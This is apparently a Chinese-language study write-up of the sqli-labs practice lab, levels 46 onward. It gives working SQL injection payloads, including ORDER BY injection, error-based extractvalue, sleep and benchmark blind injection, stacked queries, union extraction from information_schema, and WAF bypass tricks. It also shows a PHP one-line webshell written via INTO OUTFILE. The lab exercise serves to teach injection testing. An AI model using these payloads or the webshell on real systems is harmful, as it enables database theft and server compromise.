sqlilabs8
第46关
在这一关中我们看标题 是order by注入
那么我们就先再把order by了解一下吧
感觉现在才真正理解order by为什么在前面可以用来查询字段数(列数),因为order by可以让每个列明按照升序或者降序的方式进行排序,所以当不存在这么多列的时候,他就不存在了。(这个理解有点浅薄,故再去查找了一下资料):
其实在看完说明书后,我还不是很理解,不是很懂order by为什么可以注入 因为我觉得他不像报错注入时间盲注那些有地方可以直接让我写代码,他后面还需要加数字,所以我就很纳闷。
但是:在我发现order by后面的排序可以变成升序或者降序输入的时候,我突然有了一丝感觉:
注入究竟是啥?指的不就是我们在外部输入的命令能被带进去数据库里面执行吗,所以只要满足:能被代入数据库执行命令,其实就存在可能注入点
知道这点我们
我们可以发现,order by后面的数字是一个可控的参数,我们可以利用这个来构造我们的语句,使其被数据库执行,
而在这题中
他的查询语句是对我们输入的那一行进行排序输出的
看上面 他要求我们输入的一个sort 所以我们现在不能再?id=多少 而是要?sort=多少,然后再看他的查询语句,对于id是没有加引号之类的,所以是数字型注入,然后我们在想,要在order by 后面加上什么才会被执行呢,首先是不能有引号语句,如果有要将引号内的内容转给十六进制的,如果要加select,我们需要union来拼接,但是在这题中是行不通的,这是一个语法问题,:有union的时候,order by要以最后一个union为准,所以 order by必须放在最后一个union后面,那么我们只能换一种,
首先我们先来考查一下是否存在注入点——根据我们输入的语句,页面发生变化
构建payload:?sort=rand(true)
?sort=rand(false)
rand()是产生一个随机数,但其实我们这里赋予了一个true和false,他里面的值就会不一样,而如果页面发生了改变,就说明我们的注入已经生效了,其实这里的本质是,测试这里能使用的语句都有啥,我们使用了rand()函数,发现是可以产生页面变化的,然后里面的true和false其实代表的是1和0
rand()函数:
RAND()函数调用可以在0和1之间产生一个随机数:
首先是报错注入:
?sort=(extractvalue(1,concat(‘~’,database())) //这里连注释都不用,因为这个id后无其他语句
这样子是成功的,下一个语句:堆叠注入,由于没有mysqli_multi_query所以不行
接下来是时间盲注
?sort =1 and if(substr((select database()),1,8)=0x7365637572697479),1,sleep(5)
有效果,但是时间很长,所以我就在想为什么,(注意 sleep 是存在一个满足条件的行就会延迟指定的时间,比如sleep(5),但是实际上查找到两个满足条件的行,那么就会延迟10s,这其实是一个非常重要的信息,在真实的渗透测试过程中,我们有时候不清楚整个表的情况的话,可以用这样的方式进行刺探,比如设置成 sleep(0.001) 看最后多少秒有结果,推断表的行数)
原来是这样,参考链接:https://blog.csdn.net/weixin_43536759/article/details/104882964
这里再介绍另外一种时间盲注:
benchmark(a,md5(1))是对某个计算(md5)重复多(a)次,不能精确掌控延迟时间
构建payload:
?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(‘1’)),null) from (select database() as current) as test)
接下来是布尔盲注
无反应
procedure analyse 注入
procredure analyse中 支持两个参数:
那么我们就来构造试试,在mysql8.0中好像已经移除了,所以我们就蛮看一下,这个主要是用在oder by limit后面的
payloadSELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
这个是构建的payload 而这里添加除了time-base的语句 其他好像都不太行
学习链接:https://www.freebuf.com/articles/web/57528.html
试试上传文件注入 正好好久没碰了,复习一下
在之前我们是通过构建
union select “?php @eval($_post[cmd]);?>” into oufile 目标文件夹(能被PHP在网页打开的文件地址)
然后构造完以后我们就可以利用菜刀连接就行了
下面我们在这里试一下,也是可以的
第四十七关:加个单引号
第四十八关:无报错,所以只能用时间盲注,或者布尔盲注
第四十九关:同上
第五十关
看到了mysql_multi-query
所以我们可以用堆栈注入,直接拼接就行,再看后面也无啥过滤的东西
51关:加了个单引号
52关:没有报错,但是可以继续堆栈注入
53关:单引号无报错,可堆栈注入,时间,布尔啥的就不说了
第五十四关
在这关当中,他是需要我们最后提交一个key,并且这个key是藏在一个新的库里面的,并且过了十秒钟后这个key就会刷新,
我们看了一下源码,可以发现,
**next_tryy();**就代表着时间,随意修改时间次数
他其实需要两种传输方式
POST:提交key
GET:获取id
并且在KEY那一栏有了过滤使用了mysqli_real_escape_string以及addslashes两个函数进行过滤
但是在id那一栏里面啥也没过滤,并且是以单引号进行闭合的。
所以我们就在id那边进行注入
思考:如果我们没看源代码,如何知道呢?
题目黄字就说 input the id了 而下面的key现在只是在迷惑你哈哈
好的知道这些再来看源码 他是不报错的,在我们登录后 他是有跳出两个栏,所以我们试一下union拼接select 注入
先用order by查询字段数,然后打一套组合拳就可以了
payload:
?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’challenges’ –+
接下来就是根据他的动态码去编写payload即可
往后的关卡都是变形,没啥好说的。
sqlilabs做题小结:
1.知道他是需要获取什么数据 是?sort 还是?id
2.判断是否有注入点
常见闭合形式:
‘ ’‘ “ ’) ‘’)。。。。。。基于此变形,就是单引号和括号的组合
判断手法& 和| 还有 rand()
3.order by后注入 还是直接 where后注入
4.判断要使用什么注入手法:
有报错——报错注入
union可用——考虑union 拼接select
除此以外——考虑文件上传注入(一句话木马),时间,布尔盲注
是否有gbk编码,考虑宽字节注入
是否有mysqli_multi_query 考虑堆栈注入
5.是否有waf需要绕过
例如空格可以采取%a0 还有and or 大小写联合书写,或者重复书写,过滤单引号,根据过滤方式选择手段,是直接转义添加/还是直接去掉变成null,在书写select的时候可以将最后’库名’转化为十六进制进行书写0x***类似
6.然后还有很多要学,继续努力